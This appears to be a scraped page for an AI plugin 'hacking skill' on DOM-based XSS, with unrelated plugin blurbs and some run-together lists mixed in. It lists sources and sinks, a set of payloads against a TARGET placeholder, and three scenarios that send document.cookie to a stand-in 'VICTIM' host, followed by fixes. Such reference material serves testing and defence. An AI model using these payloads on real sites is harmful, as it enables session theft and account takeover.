From meta
DOM-based XSS occurs when JavaScript reads attacker-controlled sources (`location.hash`, `document.referrer`, `window.name`, `location.search`) and passes them to dangerous sinks (`document.write`, `innerHTML`, `eval`, `location.href`, `setTimeout`, `jQuery.html()`) without sanitization. Unlike reflected/stored XSS, payloads never reach the server. Detect by auditing JavaScript for tainted data flow from DOM sources to sinks. Tools: Burp Suite DOM Invader, Chrome DevTools, DOMPurify (fix).
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.
location.hash, location.search, location.href, document.referrer, window.name, document.cookie, postMessage event datadocument.write(), innerHTML, outerHTML, insertAdjacentHTML, eval(), setTimeout(string), setInterval(string), location.href = ..., src attribute assignment, jQuery.html(), jQuery.append()location.hash, location.search, document.referrer, window.name.# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x onerror=alert(document.cookie)>
# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>
# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x onerror=alert(1)>
# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="
# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)
# jQuery .html() sink
TARGET/page?search=<img src=x onerror=alert(1)>
# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>
# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x onerror=alert(1)>"
# Victim app reads: document.getElementById('x').innerHTML = window.name
# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x onerror=alert(1)>", "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })
# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks
# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})
#) payloads are not sent to server, bypassing server-side WAFs and filtersjavascript: URI scheme in href/src sinks when <script> tags are filtered<img onerror=...>, <svg onload=...>, <body onpageshow=...>innerHTML does not execute <script> tags directly — use event handler payloads instead%3Cscript%3E may be decoded by decodeURIComponent() before reaching sinkwindow.name persists across cross-origin navigations — attacker page can set itpostMessage with missing or weak origin validation (see web messaging skill)eval(\${userInput}`)`Scenario 1 — Fragment Injection via document.write
Setup: SPA reads location.hash to display a "you came from" breadcrumb using document.write().
Trigger: Victim clicks attacker link: TARGET/dashboard#<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie exfiltrated to attacker; payload never touches server, bypasses WAF.
Scenario 2 — eval() Injection via Search Parameter
Setup: JavaScript parses location.search and uses eval() to set a variable from the theme parameter.
Trigger: TARGET/page?theme=dark";fetch('http://VICTIM/?c='+document.cookie);//
Impact: Arbitrary JavaScript executed; session stolen.
Scenario 3 — innerHTML Sink via jQuery
Setup: jQuery-based page loads product description from #description fragment into $('#content').html().
Trigger: TARGET/product#<img src=x onerror="document.location='http://VICTIM/steal?c='+document.cookie">
Impact: Cookie exfiltration; attacker can perform any action as the victim user.
innerHTML assigned a value that is HTML-encoded before assignment (escaping happening in JS)eval() present in code but receiving only developer-controlled or whitelisted inputtextContent or innerText instead of innerHTML when inserting user-controlled data as plain textelement.innerHTML = DOMPurify.sanitize(userInput)eval(), setTimeout(string), setInterval(string) with user-controlled datapostMessage event data; always check event.origin before processingjavascript: to location.hrefscript-src 'self' prevents execution of injected scriptsDOM XSS is a distinct exploit path from [[xss-reflected]] and [[xss-stored]] because the payload never reaches the server — a purely client-side taint flow. [[cspt]] frequently lands in a DOM XSS sink: a path traversal that redirects a fetch() to an attacker-controlled URL can return a payload that gets written to innerHTML. A [[cors-misconfig]] that lets cross-origin reads succeed enables exfiltrating data from DOM XSS contexts by relaying the stolen content through the attacker's domain.